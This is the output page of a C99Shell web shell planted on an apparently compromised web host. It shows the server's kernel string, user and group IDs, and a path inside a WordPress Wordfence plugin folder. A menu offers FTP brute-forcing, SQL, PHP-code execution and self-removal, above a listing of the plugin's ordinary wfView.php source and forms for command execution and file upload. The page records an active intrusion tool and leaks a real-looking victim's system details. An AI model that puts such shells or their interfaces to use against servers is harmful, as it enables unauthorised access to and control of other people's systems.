!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-content/plugins/wordfence/lib/   drwxr-xr-x
Free 180.64 GB of 490.84 GB (36.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     wfView.php (2.13 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

class wfView {

    
/**
     * @var string
     */
    
protected $view_path;

    
/**
     * @var string
     */
    
protected $view_file_extension '.php';

    
/**
     * @var string
     */
    
protected $view;

    
/**
     * @var array
     */
    
protected $data;

    
/**
     * @param string $view
     * @param array  $data
     * @return wfView
     */
    
public static function create($view$data = array()) {
        return new 
self($view$data);
    }

    
/**
     * @param string $view
     * @param array  $data
     */
    
public function __construct($view$data = array()) {
        
$this->view_path WORDFENCE_PATH 'views';
        
$this->view $view;
        
$this->data $data;
    }

    
/**
     * @return string
     * @throws wfViewNotFoundException
     */
    
public function render() {
        
$view preg_replace('/\.{2,}/''.'$this->view);
        
$view_path $this->view_path '/' $view $this->view_file_extension;
        if (!
file_exists($view_path)) {
            throw new 
wfViewNotFoundException('The view ' $view_path ' does not exist or is not readable.');
        }

        
extract($this->dataEXTR_SKIP);

        
ob_start();
        
/** @noinspection PhpIncludeInspection */
        
include $view_path;
        return 
ob_get_clean();
    }

    
/**
     * @return string
     */
    
public function __toString() {
        try {
            return 
$this->render();
        } catch (
wfViewNotFoundException $e) {
            return 
defined('WP_DEBUG') && WP_DEBUG $e->getMessage() : 'The view could not be loaded.';
        }
    }

    
/**
     * @param $data
     * @return $this
     */
    
public function addData($data) {
        
$this->data array_merge($data$this->data);
        return 
$this;
    }

    
/**
     * @return array
     */
    
public function getData() {
        return 
$this->data;
    }

    
/**
     * @param array $data
     * @return $this
     */
    
public function setData($data) {
        
$this->data $data;
        return 
$this;
    }

    
/**
     * @return string
     */
    
public function getView() {
        return 
$this->view;
    }

    
/**
     * @param string $view
     * @return $this
     */
    
public function setView($view) {
        
$this->view $view;
        return 
$this;
    }

    
/**
     * Prevent POP
     */
    
public function __wakeup() {
        
$this->view_path WORDFENCE_PATH 'views';
        
$this->view null;
        
$this->data = array();
        
$this->view_file_extension '.php';
    }
}

class 
wfViewNotFoundException extends Exception {
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0068 ]--